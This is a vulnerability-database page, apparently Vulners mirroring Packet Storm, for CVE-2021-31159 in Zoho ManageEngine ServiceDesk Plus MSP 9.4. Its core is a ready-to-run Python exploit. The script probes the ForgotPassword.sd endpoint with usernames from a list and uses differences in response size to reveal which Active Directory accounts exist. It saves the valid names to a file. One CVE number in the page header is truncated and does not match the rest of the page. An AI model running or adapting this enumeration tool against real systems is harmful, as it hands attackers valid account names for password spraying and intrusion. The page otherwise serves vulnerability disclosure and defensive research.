Lucene search
K

Zoho ManageEngine ServiceDesk Plus 9.4 User Enumeration

🗓️ 17 Jun 2021 00:00:00Reported by Ricardo Jose Ruiz FernandezType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 220 Views

Zoho ManageEngine ServiceDesk Plus 9.4 User Enumeration CVE-2021-3115

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Generation of Error Message Containing Sensitive Information in Zohocorp Manageengine_Servicedesk_Plus_Msp
19 Mar 202118:28
githubexploit
0day.today
Zoho ManageEngine ServiceDesk Plus MSP 9.4 - User Enumeration Exploit
17 Jun 202100:00
zdt
Circl
CVE-2021-31159
18 Jun 202102:55
circl
CNNVD
Zoho ManageEngine ServiceDesk Plus MSP 安全漏洞
16 Jun 202100:00
cnnvd
CVE
CVE-2021-31159
16 Jun 202112:51
cve
Cvelist
CVE-2021-31159
16 Jun 202112:51
cvelist
Exploit DB
Zoho ManageEngine ServiceDesk Plus MSP 9.4 - User Enumeration
17 Jun 202100:00
exploitdb
NVD
CVE-2021-31159
16 Jun 202113:15
nvd
OSV
CVE-2021-31159
16 Jun 202113:15
osv
Prion
Default credentials
16 Jun 202113:15
prion
Rows per page
`# Exploit Title: Zoho ManageEngine ServiceDesk Plus MSP - Active Directory User Enumeration (CVE-2021-31159)  
# Date: 17/06/2021  
# Exploit Author: Ricardo Ruiz (@ricardojoserf)  
# CVE: CVE-2021-31159 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31159)  
# Vendor Homepage: https://www.manageengine.com  
# Vendor Confirmation: https://www.manageengine.com/products/service-desk-msp/readme.html#10519  
# Version: Previous to build 10519  
# Tested on: Zoho ManageEngine ServiceDesk Plus 9.4  
# Example: python3 exploit.py -t http://example.com/ -d DOMAIN -u USERSFILE [-o OUTPUTFILE]  
# Repository (for updates and fixing bugs): https://github.com/ricardojoserf/CVE-2021-31159  
  
import argparse  
import requests  
import urllib3  
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  
  
  
def get_args():  
parser = argparse.ArgumentParser()  
parser.add_argument('-d', '--domain', required=True, action='store', help='Domain to attack')  
parser.add_argument('-t', '--target', required=True, action='store', help='Target Url to attack')  
parser.add_argument('-u', '--usersfile', required=True, action='store', help='Users file')   
parser.add_argument('-o', '--outputfile', required=False, default="listed_users.txt", action='store', help='Output file')  
my_args = parser.parse_args()  
return my_args  
  
  
def main():  
args = get_args()  
url = args.target  
domain = args.domain  
usersfile = args.usersfile  
outputfile = args.outputfile  
  
s = requests.session()  
s.get(url)  
resp_incorrect = s.get(url+"/ForgotPassword.sd?userName="+"nonexistentuserforsure"+"&dname="+domain, verify = False)  
incorrect_size = len(resp_incorrect.content)  
print("Incorrect size: %s"%(incorrect_size))  
  
correct_users = []  
users = open(usersfile).read().splitlines()  
for u in users:  
resp = s.get(url+"/ForgotPassword.sd?userName="+u+"&dname="+domain, verify = False)   
valid = (len(resp.content) != incorrect_size)  
if valid:  
correct_users.append(u)  
print("User: %s Response size: %s (correct: %s)"%(u, len(resp.content),str(valid)))  
  
print("\nCorrect users\n")  
with open(outputfile, 'w') as f:  
for user in correct_users:  
f.write("%s\n" % user)  
print("- %s"%(user))  
  
print("\nResults stored in %s\n"%(outputfile))  
  
  
if __name__ == "__main__":  
main()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation